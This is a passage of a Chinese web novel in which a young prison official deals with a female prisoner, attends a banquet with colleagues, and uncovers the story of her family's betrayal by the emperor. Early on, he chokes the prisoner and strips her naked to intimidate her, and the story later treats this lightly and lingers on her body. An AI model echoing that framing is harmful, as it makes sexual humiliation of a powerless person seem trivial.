云缺总觉得阿梅尽管貌美无双,可本身始终带着一种阴冷的气息,犹如蛰伏在角落里的野狐。 今天的阿梅,虽然也有那种拒人于千里之外的冰冷,却少了那种阴冷的感觉。 “没想到吧,我还能回来。” 云缺迈步走进牢房,抓了把稻草揉成团,将墙上的孔洞先堵住。 石头果然在偷看,这下什么也看不到了。 阿梅往后挪了挪身体,一语不发,冷冷的与云缺对视。 云缺来到对方面前,居高临下的盯着女人,缓缓抬手,拿出那两朵从东宫顺来的梅花。 梅花从手心飘落,散发着淡淡花香。 一朵落在阿梅脚边,一朵落在阿梅头顶。 “梅花给你带来了,唱曲儿吧。” 云缺声音冷漠。 之前八品境界的时候中了招,如今云缺已经七品大成,他今天要好好听一听阿梅那能惑心的歌声。 阿梅没唱,也没接梅花,眸子里透着一股奇怪的恨意,始终与云缺冷冷对视。 “不想唱?你不是挺喜欢唱曲儿么。” 云缺突然探手,一把掐住阿梅的脖子,将其提了起来。 阿梅娇弱的身躯,在云缺手里犹如一只小兽般,根本挣脱不出。 “伪装得很好嘛,谁能想到你一介弱女子,居然会是七品武者。” 云缺冷笑道:“你用内劲,震碎了九头鼠的心脉,伪造对方暴毙而亡的假象,这些年死在你手里的人,恐怕不少,我现在官居五品是天牢提刑官,你胆敢谋害我,罪加一等!这些罪行加在一起,足够定你死罪!” 阿梅的目光疑惑了一下,随后缓缓低下头,不在挣扎,认命一样。 “怎么,不想反抗?七品炼神境的修为,再不反抗可就没机会了。”云缺冷淡道。 阿梅闭上眼,一声不吭。 云缺皱了下眉。 阿梅今天很古怪,不辩解,不求饶,不唱曲儿,居然甘愿等死。 刺啦! 衣衫碎裂的声音在牢房内响起。 云缺一下将阿梅的囚服撕开,现出刺眼的莹白。 阿梅豁然惊醒,一时间忘记了遮掩,直愣愣的站在原地,目光都变得呆滞起来。 “你不是很喜欢勾引么,今天本官让你勾引个够!” 云缺几下将阿梅的囚服扯掉,对方犹如一只白羊般慑慑发抖,不着寸缕。 云缺将囚服扔在一旁,冷声道: “把你的手段都施展出来,否则,你活不过多久,但凡害我的人,从来没有好下场。” 云缺打算今天与阿梅了结恩怨。 云缺已经准备好对方会突然暴起,妖刀此刻正在手心的血肉里转动,能随时握刀劈斩。 可等了好一会儿,阿梅始终低着头,除了颤抖得愈发厉害之外,根本没有反击的征兆。 云缺觉得奇怪,抬手掐住阿梅的脸,将其的头抬了起来。 随后云缺愣住了。 阿梅眼泪长流,哭得梨花带雨。 哭…… 哭了? 云缺再如何聪慧,此刻也懵了。 你可是七品武夫! 云缺从来没想到过,一个七品炼神境武者居然还能哭鼻子! 看阿梅的模样,犹如受惊的小兽,委委屈屈,可怜兮兮。 演戏! 云缺很快断定对方的举动,一定是在演戏而已。 不过哭得可真像,看起来非常伤心。 阿梅哭得愈发厉害,云缺没了打斗的心情,松开手,冷冷道: “跟我装什么可怜,你的底细,我早已清楚,今天本官有接风宴,算你便宜,等过阵子再来收拾你。” 锁好牢门,云缺离开了天牢。 过了好一阵,阿梅抽泣着捡回自己的囚服,艰难的重新穿好,卷缩在角落里暗暗垂泪。 至始至终,她没说一个字。 哭红的眼眸里虽然充满了愤恨与委屈,但更多的,是一份奇怪的坚持。 …… 仙客楼,天祈皇城内有名的大酒楼之一,以桃花酒而闻名。 接风宴上,云缺认识了更多的同僚。 刑部五司的掌权者,尽数到场,一众令史相陪。 熟悉了之后,众人开始高谈阔论。 吴鹰当先举杯道: “云大人离开天牢的时候,那一拳之威实在厉害,当时我便猜测,能打出如此拳力的肯定不会是无名之辈,果不其然,云大人少年得志,已经官居五品,是我吴某人的顶头上司了哈哈。” 说着吴鹰朝云缺挤了挤眼。 云缺逃狱这件事,外人不知道,因为没有通缉令,但刑部五司的人全都知道的。 吴鹰显然是在撇清关系,省得落人口舌。 “事出无奈,只好委屈吴大人了,这杯酒就当我赔罪。”云缺笑着举杯,一口喝干。 吴鹰是提牢司令史,云缺则是代理提刑官,官职在吴鹰之上,在这种场合,称呼吴师兄反而不妥。 见云缺举杯,其他人也纷纷相陪。 喝了第一杯之后,陈洲骅起身给云缺倒了第二杯。 “云大人当时可能不知道,你走之后,侍郎大人命我去追,到了刑部门口,我只看到一道人影踩着一片青色云雾遥遥远去,越飞越高啊。” 陈洲骅端着酒杯摇头晃脑的道:“这就叫平步青云!我就知道云大人将来必定要升官发财。” 云缺很想给这位总捕头竖一根大拇指,你这马屁拍得实在好听。 简直是马屁精附体! 其实陈洲骅的官职在云缺之上,人家是正四品的官职,掌管刑部五司之一的督捕司,能如此吹捧,显然这位看出云缺官途无量,早点拉好关系。 云缺二话不说,一口喝干第二杯。 第三杯酒是犁术敬的。 犁术是个老油条了,马屁早已经准备好,正准备开口,忽然远处传来一声大呼。 “爹!” 咚咚咚! 一阵脚步声中,走来一名壮硕的年轻人,两手各自缠着厚厚的绷带,看得出受伤不轻。 犁术扭头一看,立刻笑了起来,来的不是旁人,正是他的亲儿子。 这次是犁术做东宴请云缺,正好他儿子在家养伤,于是通知儿子来吃饭,顺便见见刑部的众人。 以犁术的门路,早给自己儿子铺好了路,未来他儿子是要进刑部的。 他这儿子还算争气,如今在天祈学宫求学,是名副其实的七品武者。 没等犁术介绍,来者一眼看到云缺,顿时怒容大起,张口大骂: “你这狗贼居然还敢在老子面子出现!等我伤好了,看我不把你腿打断!” 此言一出,在场众人齐齐变得目瞪口呆。 犁术直接傻在原地。 他是让儿子来见见以后的同僚的,不是让儿子来骂自己刚上任的上司的。 云缺瞥了眼对方,呵呵笑道: “好哇,不过下次可不止一千两了。” 对方是熟人,正是演武殿与云缺比斗,输了银子又输了书牌的犁谷。 原来犁谷是犁术的亲儿子。 犁术很快反应过来,跳起来对着犁谷连扇了十多个嘴巴。 打得犁谷连连后退,莫名其妙。 “爹!你打我做什么!我的手就是云缺那家伙打断的!” 啪!! 犁术抡起巴掌,又狠狠的扇了犁谷个嘴巴。 他现在叫苦不迭。 本来是接风宴,结果成了结仇宴。 “放肆!”犁术指着自己儿子怒骂道:“除了惹是生非,你还能给我干点什么好事!立刻给云大人赔罪!” 骂完犁谷,犁术陪着笑脸对云缺道: “抱歉啊云大人,下官教子无方,大人万万海涵呐。” 犁谷瞪着两只眼珠,直勾勾盯着云缺,一时脑子都不转了。 他想不通,一个刚刚进学宫的家伙,怎么成了自己老爹的上司? “还不跪下谢罪!” 犁术一脚踹在犁谷身上。 久居官场,犁术深知穿小鞋的滋味有多可怕,一旦云缺以后记了仇,他别想在提牢司安生。 犁谷见父亲如此大怒,不敢违背,立刻双膝跪地,愁眉苦脸的道歉: “云大人息怒,小人口无遮拦,还望大人勿怪。” 云缺看得好笑,道:“还比不比了。” “不比了!我服了,打不过你!”犁谷连忙认怂。 犁术找酒楼小厮要来一根藤条,双手递给云缺道:“云大人若还不出气,狠狠打他一顿!什么时候出气,什么时候为止!” “算了,童言无忌。”云缺笑道。 犁术可算松了一口气,犁谷听得一张大脸憋得通红。 他岁数比云缺都大,居然被人家说成童言,幸亏周围全是刑部的人,没有学宫学子,要不然他犁谷都没脸在学宫求学了。 把犁谷撵走后,犁术连连给云缺斟酒,一个劲赔罪。 云缺并不在乎。 武夫都这模样,张口就骂,抬手就打,若是跟个武夫置气,那早晚得气死。 一顿接风宴,除了犁术之外,众人吃得皆大欢喜。 散席后,吴鹰陪着云缺走向北街。 这里有一处府宅是皇帝赏赐的,云缺还没来过。 第108章 死人开口 宅院不算大,一处比较僻静的小院落。 一间正屋,两间偏房,干干净净,屋内家什俱全。 尽管府宅不大,但这里是寸土寸金的天祈皇城,这座小院没有上万两银子是下不来的。 吴鹰环顾四周,道: “还不错,地段偏僻了些,胜在幽静,明天我买两个丫鬟回来,帮你打理屋舍。” 吴鹰此刻的神态很轻松,说的话有一种兄长般的感觉,仿佛云缺是个需要照料的弟弟。 “不必了吴师兄,我住在学宫,这里不会经常回来。”云缺道。 “不常回来,才需要有人打理,要不然屋子怎么住人呢,放心,买丫鬟的钱我出。”吴鹰笑道。 “一个人住惯了,不用麻烦了。”云缺谢绝道。 “好吧,你怎么喜欢怎么来。” 吴鹰不在提丫鬟的事,神色微正道:“皇帝的赏赐,云师弟当之无愧,不过有句话云师弟莫要忘了,伴君如伴虎,官道一途,并不好走,越往上爬越发凶险,高处不胜寒呐。” “知足常乐,现在的官职我已经很满意了,刑部加上东宫,两份俸禄呢。”云缺笑道:“况且我是个武夫,让我当太高的官,我也不会啊。” “知足常乐是个好心态,但绝非好男儿。” 吴鹰摇头道:“我们大好男儿之躯,生于天地间,就该活一番轰轰烈烈才不枉此生!师兄提醒你官途艰难,并非让你知难而退,而是期待你迎难而上,将来有一番抱负,封侯拜相!” “我一个小小武夫,哪有机会封侯拜相。”云缺道。 “切莫小看了自己,只要我们坚信一件事,并持之以恒的去努力,早晚会成功。” 吴鹰拍了拍云缺肩膀,笑道:“今后在刑部遇到什么难题,大可来找我,别看你的官职比我高,但在刑部混的时间,我可比你的年头多。” “对了吴师兄,天牢有个女囚阿梅,她是什么来头。”云缺问道。 “阿梅?哦,你说的是穹音吧,她是雁门侯遗孤,她的事很复杂,涉及当年的雁死天门事件,卷宗就在提牢司,你看看就好,莫要在外面提及,尤其在皇帝面前,一个字都不能提,刑部还有事没处理完,我得先回去了。” 吴鹰走后,院子里安静下来。 “穹音,穹舞,你们果然是姐妹俩。” 云缺得知了阿梅的真名后,对所谓的雁死天门事件生出些好奇。 不能在皇帝面前提及,说明这件事与皇帝有着很大的关联,而且还是丢脸的事。 既然是皇帝忌讳的事,又为何一个关进天牢,一个就读于学宫? 这一点云缺暂时想不通,不过很快即可得知真相,只要回刑部看看卷宗即可。 云缺坐在屋中,望着门外时而走过的行人,眉峰微微蹙起。 “我若封侯拜相,你会得到什么好处呢,吴师兄……” 云缺喃喃自语。 吴鹰给云缺的感觉,像一位亲切的老大哥一般,是值得信赖的朋友。 但这种朋友,云缺并不习惯,也不需要。 云缺更习惯梅钱那种半个朋友,该互相坑的时候互相坑,该帮忙的时候帮忙,一切以自身利益为主。 如果说天下间,还有一个云缺能完全信赖的人,那么只能是灵芸郡主。 而吴鹰,云缺始终信不过。 云缺总有种奇怪的感觉,吴鹰这个人,好像藏着某种目的。 究竟是什么目的,云缺猜不到,也想不通。 散去思绪,云缺看了看几间屋子。 除了家什之外,空荡荡,锅碗瓢盆一样没有。 反正不住在这,云缺懒得去买,记住位置后便锁好门,返回学宫。 今天熟悉一番刑部即可,领取官服令牌之类,明天才开始正式走马上任。 百花殿依旧热闹。 东楼吵吵嚷嚷,南楼歌舞升平,西楼悄无声息,北楼望眼欲穿。 望眼欲穿的,自然是新来的先生。 见云缺经过,剑平之一个箭步冲上前来。 “我观你眸光清澈,天庭饱满,必是神魂极强之人!最适合神道之学,有没有兴趣来听讲啊。” “抱歉啊先生,我今天忙得很,改天再说。” 甩开剑平之,云缺返回西楼。 剑平之随后盯住了刚好路过的屠苏,还是那套说辞,口若悬河。 这先生当的,还得骗学子上课…… 云缺摇摇头,刚进西楼,看见大厅里摆着好几个大木箱。 木安正吭哧吭哧的往楼上抬,累得满头大汗。 “云师弟!你可算回来了,帮帮忙。”木安如同看到救星。 “什么东西,够沉的。”云缺一手一个抓起两个木箱,跟着木安往楼上搬运。 “墨老买的材料,好像是妖兽骨。” 木安羡慕道:“还是云师弟力气大,早知道我也修炼武道,墨老时常会在外面买一些奇奇怪怪的材料,我不仅负责取货,还得往楼上搬运,每次都累个半死。” 木安觉得沉重的箱子,在云缺手里根本不算事儿,这便是武夫的好处。 有了云缺帮忙,很快将几个箱子运到三楼一间大屋里。 云缺拍了拍手上的尘土,扫了眼四周,发现这里是一处类似书房的地方,靠墙摆着一排书架。 九头鼠的尸体站在墙角,应该被墨老炼制过了。 云缺翻看了几本,都是些奇怪的书。 不是记载诡案的奇闻录,就是涉及尸体的死人经,还有些关于灵体的书籍。 云缺从中找出一本蛊虫录。 这本书记载了各种奇异的蛊虫,从形体到能力,十分详细,还配有图案,一眼便可看清蛊虫是何种模样。 云缺向来对这种有图的书,最感兴趣。 “这里是墨老的书房,平常不让进的,云师弟看书可以,千万别带出去,让墨老知道会发火的。”木安叮嘱一句后,去楼下休息了。 云缺本打算看看就走,结果看着看着入了迷。 蛊虫,是巫修最为拿手的手段,需要精心炼制。 蛊虫种类繁多,功能更是千奇百怪。 云缺看到一种名为嗜酒蛊的蛊虫,需养在酒缸里,人若种了嗜酒蛊,便可千杯不醉,喝多少酒都不会醉倒。 还有种月光蛊,薄如蝉翼,宛若一片月色的薄纱,在夜里裹在身上,即可达到隐匿身形的作用。 当看到一种身体细长,头部生着细针口器,有四只短小细爪类似蚊子般的蛊虫时,云缺忽然目光一动。 “食禁蛊!” 云缺瞪起了眼睛。 图画上的食禁蛊,正是在天牢里钻进自己耳朵的那只小虫! 当看到食禁蛊的用处,云缺渐渐张大了嘴,逐渐惊讶起来。 食禁蛊以禁制为食,种在身上,即可缓慢啃噬掉一些禁制与封印,对本体无害。 云缺当然知道什么是禁制。 类似太子施展的定身术,就是最简单的一种禁制,而红莲教主的魂咒莲花印,则属于高深的封印之术。 直至在墨老书房里看到食禁蛊的介绍,云缺才恍然大悟。 原来阿梅下虫,不是要害自己,而是想要帮自己消除莲花印! 云缺的表情变得无比精彩,尴尬又无奈。 “这下误会大了啊……” 想起不久前把人家弄得大哭,云缺简直哭笑不得,自言自语道: “怎么不早说呢,一句话的事不就没这么多误会了么,又不是哑巴,真是古怪的女人,不过身材真好哇。” 正回味着阿梅堪称完美的身姿之际,忽然旁边有人说话。 “有多好呢。” “简直极品……”云缺顺口而出,接着豁然一惊。 屋子里可没人,而说话的,竟是九头鼠! 死人开口! 云缺震惊了瞬间便冷静下来,他听出了声音并非九头鼠,而是墨老。 九头鼠的尸体晃动了一下,迈步从墙角走出,站在云缺面前,大口开合道: “炼尸术,修炼得如何了。” “原来是墨老,学生愚钝,尚未修成。”云缺扯谎道。 “哼,你不想修炼而已,别以为我不知道,你是不是觉得炼尸术没用。”墨老冷淡的道。 “学生觉得用处确实不大。”云缺道。 “那你觉得分身术,有没有用呢。”墨老道。 “当然有用!分身相当于分出一个自己,我本体在学宫修炼,另一个分身还能去逛街,劳逸结合,简直是美事。”云缺道。 “我现在就在逛街,马上到仙客楼,想吃点什么宵夜待会儿给你带回去。”墨老低沉的道。 “墨老在逛街?那这具尸体……”云缺忽然想到了什么,惊讶道:“难不成,炼尸术还能控制尸体说话!” “你以为呢,炼尸术不仅能让炼尸开口,还能听到炼尸所听到的声音,看到的景象,或许不及分身术那般玄妙,却也类似。” 墨老哼了声,道:“你要知道,分身绝学,是修行强者才能施展的神通,四品以下想都别想!” 这下云缺动心了。 之前以为炼尸术,只是驾驭炼尸对战,多一份助力而已,可有可无,现在看来,炼尸术的好处超乎想象! 难怪之前大缸里那些死去的学子,宁愿冒着神魂碎裂的危险也要修习炼尸术。 这份奇异的法门,果然有足够的吸引力。 别的不说,只要能修成,云缺即可将分身留在刑部混俸禄,自己则在学宫修炼,无需像吴鹰那么忙碌,还得两头跑。 “敢问墨老,最多能控制几具炼尸?”云缺问道。 “单纯对战的话,炼尸数量以你对炼尸术掌握的深厚程度有关,若像我这般远距离控制炼尸充当分身,只能控制一具,还需要寻找适合的尸体,并经过特殊炼制才行。”墨老道。 “有机会的话,学生会尝试修炼一番。” 云缺说完,对面的九头鼠再无声息,恢复了尸体状态。 云缺并非说说而已,而是打算有空修炼试试。 炼尸术的关键点在于神魂,是一种神魂类的特殊功法,最严重的后果是神魂碎裂。 不过这份后果,云缺不太在意。 自己的神魂比较特殊,有妖魂融入其中,想要让神魂崩裂,可不是容易的事。 唯有达到让妖魂崩裂的程度,才能真正威胁到云缺的生命。 自从在识海看到妖魂的庞大,云缺觉得别说炼尸术,就算神魂自爆术恐怕也弄不死那家伙。 晚上的时候,墨老果然带回来个食盒,里面装着仙客楼的酒菜,扔给云缺和木安后,墨老飘上了三楼。 吃着美食,云缺看了眼对面的木安,问道: “木师兄,你修没修炼过炼尸术?” 第109章 雁死天门事件 一听炼尸术,木安直摇头。 “别提炼尸术了,这几年我几乎天天都在修炼,就是学不会,可能我太笨了,墨老因此没少骂我。”木安苦着脸道。 “很难么?”云缺诧异道。 木安是道门修士,有八品开光境修为,居然几年都学不会炼尸术。 “何止很难!炼尸术对神魂强弱有着极高的要求,以我的元神之力,再修炼十年都没戏。”木安叹气道。 “你修炼炼尸术的时候,有没有什么不适。”云缺打听道。 “没有哇,除了学不会,什么感觉也没有。”木安如实道。 “之前西楼好像有不少师兄,因为修炼这份炼尸术而身死道消。”云缺道。 “我来学宫年头儿短,没见过西楼以前的师兄,走火入魔的事我倒是听说过,那些死去的师兄因为贪心,修成炼尸术后总想着多控制几具炼尸,以至于元神消耗过度,所以修炼一途不能贪功冒进,要一步一个脚印才行。”木安认真的说道。 “这么说,死掉的师兄都是贪婪作祟,与功法本身没多少关系。”云缺道。 “当然了,神魂类的法门本就极为罕见,最容易走火入魔的,若当真是邪法妖术,墨老不可能传给我们,大祭酒知道了也不会同意呀。”木安道。 云缺听完放心了。 如果墨老当真传授给学子夺命的邪法,造成不少学子因此亡故,大祭酒不可能不闻不问。 只要炼尸术本身没有什么猫腻,云缺准备尝试修炼一番。 自己在神魂方面有着天然的优势,真要出问题,还有妖魂兜底儿呢。 吃完饭,回到住处后,云缺找出炼尸术的小册子。 看了半宿,越看头越大。 墨老给出法门的时候,随手一扔而已,看起来好似烂大街的货色。 结果仔细看完,云缺才发现这部功法晦涩玄奥,涉及了头部的数十处穴位,其中有很多词汇自己根本无法理解。 简直看天书一样! 还以为凭借自己的聪慧,看看就能修成,结果是自己想得太美了。 难怪木安那种八品道门修士,钻研了几年都学不会。 以后有机会得请教墨老才行,云缺放下功法,沉沉睡去。 一觉天亮。 今天是正式上任的日子,云缺穿戴好官服,抵达刑部。 见过尚书与侍郎两位上司后,云缺与犁术正式交接,就此成了天牢代理提刑官。 公务不算多,均与管辖狱卒和囚犯有关,手下十名令史即可完成,不过每次天牢押进囚犯或者释放囚犯,提刑官都需要亲自过问才行。 之前云缺刚进天牢,犁术随后便来确认,这是提刑官的职责所在。 “犁大人,现在是何职务。”云缺道。 “我是闲人一个,没有职务,主要给云大人打打下手呵呵。”犁术苦笑道。 “这样啊,那以后天牢来往的囚犯,犁大人多多费心,我就不过问了。”云缺道。 这活儿看着清闲,实则折腾人,天牢太大,整天都有囚犯押进押出,多的时候一忙大半天,云缺还打算在刑部偷懒修炼呢。 “行!云大人放心,这活儿我最拿手,肯定不会出差错!”犁术大喜过望,满口答应下来。 给他个差事,他已经谢天谢地了,又是原本提刑官的任务,他自然高兴,没准干得好了,将来还有机会官复原职。 两人各取所需,皆大欢喜。 熟悉了一番提牢司,云缺来到存放卷宗的地方。 让看管此地的官差找出穹音的卷宗。 犁术为了表现一番,自报奋勇帮忙查找,很快拿出一份上了年头的卷宗。 云缺仔细的翻看着,眉峰渐渐锁起。 穹音一案,与石头说的消息相差不多,由于重创了锻纸侯而被关进天牢,没有期限,若无意外,一辈子将在天牢度过。 卷宗上记载的并不多,云缺注意到穹音的身份一栏,标记着‘罪臣之女’四个字。 吴鹰说过,穹音是雁门侯遗孤,云缺于是询问起雁门侯的卷宗。 一听雁门侯三个字,旁边的犁术立刻脸色变了,急忙将屋子里的其他官差赶走,关好大门。 “云大人怎么想起来查看雁门侯的卷宗了?”犁术不解的道。 “昨天听说了雁死天门事件,好奇之下打算瞧瞧。”云缺道。 犁术帮忙寻找,很快拿出一摞卷宗,道: “在这呢,云大人看完千万别在外面谈论此事,雁门侯是陛下的忌讳!” 云缺看了对方一眼,更觉得好奇了。 吴鹰这么说,犁术也这么说,难道雁门侯犯了什么天怒人怨的不赦之罪? 带着好奇,云缺翻看起卷宗。 雁门侯,名叫穹金,三年前私通邵武国,于天门关举起反旗,后穹金夫妇被边军斩杀于天门关下,其留在皇城的两个女儿穹音穹舞,发配教坊司。 反叛之罪,罪名确实不小。 但云缺从这段简单的介绍中,看出了一些古怪的地方。 天门关位于大晋以东,是阻断邵武国的一处边关险地,有重兵把守。 既然造反,不选个大晋腹地做根基,反而选了个边关,而且还被天门关的边军所杀,这反旗举的,简直让人不可置信。 哪怕找个乞丐让他造反,也不会选在天门关,除非已经掌握了整个关卡的兵力。 从穹金被天门关边军所杀这件事来看,穹金就好像夫妻两人直接宣布造反一样,手下一兵一卒也没有,令人啼笑皆非。 还有一点更为奇怪。 穹金造反,却把两个女儿留在了皇城,这种事除非是傻子,否则正常人绝对干不出来。 都要造反了,肯定先把家人带走啊! 穹金的卷宗里,疑点重重,其中的经过没多少记载,寥寥几十字,而批判穹金大恶不赦的言词,占据了卷宗的绝大部分。 其中细数了穹金的十大罪状,每一条都能抄家灭门。 简直将穹金写成了古往今来,最大的恶人,真正的十恶不赦。 看过卷宗,云缺猜测里面写的,肯定不是全部真相。 “那位雁门侯,究竟是什么来历,犁大人能否说说。”云缺道。 “这……” 犁术犹豫了一下,一咬牙道:“既然云大人想知道,我便说说,其实这件事,但凡三年前就在皇城为官的,全都知道,之所以没人提,是因为说出来,陛下颜面无光啊。” 犁术为了给云缺留下个好印象,不得已,道出了三年前的真相。 原来雁门侯穹金,并非晋国人士,而是来自邵武国边关熔城的一位偏将。 穹金此人在邵武国名头不小,除了武力超群之外,最主要的,是他生了两个倾国倾城的女儿,也正是因为这两个女儿,穹金遭人陷害入狱,两个女儿即将进献给邵武国的一位王爷。 红颜祸水这句话,在穹金身上得到了一次另类的验证。 只不过他的祸水不是红颜,而是闺女。 明眼人都看得出来,陷害穹金的,自然是那个觊觎穹音穹舞美貌的邵武国王爷。 在狱中,穹金得知女儿要被送去王府的消息,一怒之下,杀出牢狱,带着妻女叛逃到晋国。 到了晋国后,穹金被晋皇殷子受重用,亲口加封雁门侯,从此官居高位,大富大贵。 然而好景不长。 穹金的叛逃,惹怒了邵武国的皇帝,不到月许便大兵压境,逼迫晋国交出穹金,否则就要刀兵相见。 邵武国兵强马壮,始终是晋国所忌惮的存在。 为了不引起大战,晋皇殷子受只能同意了邵武国的要求。 如果就这么把穹金交出去,皇帝颜面尽失。 没封侯之前还好,大不了就说穹金是邵武国派来的暗子,可一旦封了侯,再把人交出去,殷子受相当于自己打自己的脸。 于是殷子受给穹金定了个私通敌国的罪名,并大肆宣扬穹金的恶行,将其押赴天门关处死。 说是处死,其实是将穹金送还给邵武国,平息邵武国的怒火,否则直接在天祈城就能砍头,何必再押赴边关。 押赴边关的只有穹金夫妇,穹音与穹舞被留在了天祈皇城。 这是皇帝殷子受留下的一手暗棋。 如果穹金回到邵武国直接被杀,那没什么好说的,他两个女儿也就没用了,如何处置都可以。 一旦穹金没死,还有机会留在邵武国为官的话,那么穹音和穹舞就成了殷子受手里的一份筹码,可以在以后继续胁迫穹金,为大晋暗中做事。 这是晋皇的一场算计,一盘冷血之棋。 结果在天门关外,穹金突然挣脱,大杀四方,斩杀了上百名押送的禁军,后来被坐镇天门关的晋国将军亲手击杀。 临死之际,穹金仰天狂笑,大骂天下乌鸦一般黑,帝王全是无情的鸟。 至此,雁门侯穹金战死于天门关外,一心赤诚,两朝为官,却落了个惨死边关的下场。 这便是发生在三年前,大晋十五年的雁死天门事件。 这件事其实民间早有传闻,甚至在邵武国与大晋都流传着一段童谣。 ‘好官不收礼,好汉不行乞,好男不骂妻,好燕不落西。’ 好燕不落西中的燕,指的便是雁门侯穹金,而西字,指的则是邵武国以西的大晋。 听完整个经过,云缺沉默了良久。 “穹金的两个女儿,怎么只有一个在天牢,另一个呢。”云缺明知故问的道。 “当时两人即将发配教坊司,得知消息后,两人逃走,后来只在学宫附近抓到了一个,另一人不知被谁举荐进了学宫成为学子,大晋律令管不到学宫,没办法只能把穹音抓回来,随后锻纸侯私下里花了大笔银子,将穹音买去当小妾,结果还没洞房就被人家咔嚓了,穹音就此关在天牢。” 犁术说完,又再三叮嘱云缺千万别在外面谈论这件事。 云缺点头答应,摆摆手,让犁术去忙。 独自坐在存放卷宗的大屋内,云缺的脸色变得阴沉下来。 穹金的遭遇,令人唏嘘。 犹如一个棋子般被人随意摆弄,随意出卖。 雁死天门这件事,让云缺看出了皇帝的冷漠无情。 其中最无辜的,是穹音穹舞两姐妹,只因为天生丽质便惹来滔天大祸,找谁说理呢。 “人都是棋子么,可以丢来丢去,随意舍弃……” 云缺一拳砸在大桌上,冷声道: “尽情的舍吧,弃吧!总会有一枚棋子,能砸穿棋盘!” 第110章 今晚要账 刑部的伙食不错,除了没有酒水供应之外,与外面酒楼里的味道相差不多。 关键是不要钱。 那云缺可不客气了,连吃了五大碗米饭,八盘肉菜。 吃过午饭,云缺问了问犁术,城内有没有卖梅树的。 天祈城果然是繁华之地,据犁术讲,西街的花草市集不仅有梅树,桃树橘树枇杷树,连百年以上的大枣树都有。 得知云缺想要买两棵梅树,犁术立刻包揽下来,钱都不用云缺出,等着就行。 不久后,犁术从外面拉进来两棵梅树,按照云缺的要求,买的都不算大,一人多高,种在瓷盆里,树上全是花骨朵,正含苞待放。 云缺一手一盆,提着走进天牢。 石头正在无所事事的躺着,听见脚步声立刻起身张望。 看到云缺提着两棵梅树经过,石头羡慕不已。 老大就是老大,两朵梅花听个曲儿,人家拿来两棵梅树,这是打算把阿梅包了啊! 阿梅斜倚在墙角,好似受到了极大的打击,目光无神,比昨天少了些灵动,显得茫然麻木。 再次见到云缺,阿梅立刻身体紧绷,卷缩在角落里,犹如受惊的羔羊。 云缺有点尴尬。 把两盆梅树放在牢房两侧,咳嗽了一声,道: “昨天下手重了些,送你两棵梅树,就当扯平了。” 阿梅不说话,低垂着目光,躲在墙角一动不动。 “其实也不能全怪我,食禁蛊那玩意我又不认得,你也不解释,我哪知道你下虫是想帮我,还以为你在害我呢。” 云缺无奈的道:“我这人没对别人道过歉,也不会道歉,今后你在天牢想吃点什么喝点什么,我都管了,这样行了吧。” 见对方还是不吭声,云缺皱眉道: “你要在天牢关一辈子呐,就算一个月请你吃两顿,一年就是二十四顿饭,你至少还能活几十年,你算算得多少银子,我的钱又不是大风刮来的!” 不知哪句话触动了心弦,阿梅眼圈发红,眼泪扑簌簌无声落下。 “又哭!你怎么像换了个人似的,这么爱哭呢?”云缺道。 阿梅把头垂得更低,不让云缺看他的脸。 即便看不到,云缺也能听到泪珠不断落地的轻微响动。 叹了口气,云缺坐到阿梅旁边,道: “喂,别哭了,以前别人用两朵梅花你就给唱曲儿,今天我送你两棵梅树,非但不用你唱,我来给你唱个曲儿,竖起你的耳朵,听好了。” 云缺掰断梅树一根树枝,用来当做小锤儿,清了清嗓子,一边用树枝敲着木床,一边开口唱道。 “从前有座山,山里有座庙,庙里有两个小乞丐,穷困、潦倒。” “一个会骗钱,一个会猎妖,一连混迹了十几年,刚好、温饱。” “多年奔波苦,终于有回报,乞丐翻身野狗打滚,名声、大噪。” “一个守城门,一个当仵作,出人头地骗点小钱,活着、真好。” 云缺唱得根本没有调儿,顺口溜一样,听到最后的出人头地,阿梅扑哧一声笑出声来。 仵作和守城门,哪一样都与出人头地扯不上关系。 阿梅抬起头,脸上挂着泪,哭中带笑,眼中满是幽怨。 笑中带泪这种表情,放在谁脸上都很不合适,肯定会显得古怪,但在阿梅那张俏脸上,却呈现出一种惊心动魄的美,给人一种我见犹怜之感,恨不得将其揽进怀中,呵护一生,不让她受人欺凌。 那是一种独属于娇弱女子的美感,配上阿梅的绝世之颜,连云缺都看得一时呆住。 祸水啊…… 云缺在心里感叹,难怪邵武国的王爷不惜陷害忠良也要得到穹音穹舞姐妹俩,如此容貌,实在令人念念不忘。 云缺觉得整个大晋的美人,也就牧青瑶能与穹音穹舞姐妹俩不相上下了。 灵芸郡主的美,是一种大家闺秀,高贵典雅的美,出淤泥而不染,纯洁无瑕。 穹音穹舞的美,则是一种妖异的美,犹如灵狐,美中含媚,媚态天成。 “哭多了伤身,在天牢里病了可没人管你。” 云缺道:“我现在是代理提刑官,你需要什么,可以找我,能帮的,云某人决不含糊,不过事先说好,借钱免谈。” 阿梅用一双漂亮的眼睛瞪了眼云缺,低下头不说话。 “惜字如金啊,是不是你嗓子坏了,都这么熟了,怎么一句话不说呢。” 云缺奇怪的道。 阿梅还是不说话。 “不说就不说,晚上请你吃点好的。” 云缺站起身,走到牢门旁,停住脚步道:“再长的夜,终会破晓。” 云缺走后过了半晌,阿梅抬起头,痴痴的望着梅树上即将开放的花儿,哭红的眼眸渐渐变得坚强起来。 离开天牢后,云缺始终在懊悔不已。 “托大了呀……她要吃唐僧馅的包子可怎么办,一两银子一个,我都吃不起!” 想起与牧青瑶第一次到皇城吃的包子,云缺大为感慨。 那玩意云缺一顿能吃三十多个毫不费力,一两银子一个包子,一顿就得三十多两,一天三顿一百两! 一个月天天吃包子,就要三千两纹银! 两份俸禄加起来都不够。 在藏石镇的时候,至少能吃得起包子,到了天祈城不仅官居五品,还是太子伴读,结果连包子都吃不起了。 也不知道这叫有出息了,还是更加落魄了。 人生,就是这么奇怪。 上任第一天,云缺是在感慨中度过的。 快到晚上放衙的时候,侍郎上官鸿途召集众人,道出了一个消息。 草原蛮人求和,并且进献百名舞姬,其中有一位是身份高贵的别吉,将来会成为皇帝的宾妃。 别吉,意为草原上的公主,是部落大汗的女儿。 “那帮蛮子这些年没少吃亏,终于怕了。”有人解气的道。 “阜南王威名远扬,蛮子也得望风而逃!”另一人高声道。 “黑铁城铜墙铁壁,蛮子别说劫掠大晋,他们的草原都快保不住喽。” “和亲之事,看来是草原人的无奈之举啊。” 众人议论纷纷,都有一种扬眉吐气之感。 自从阜南王坐镇黑铁城,草原人彻底没了脾气,威风早已不再,已经被打服了。 上官鸿途颔首道: 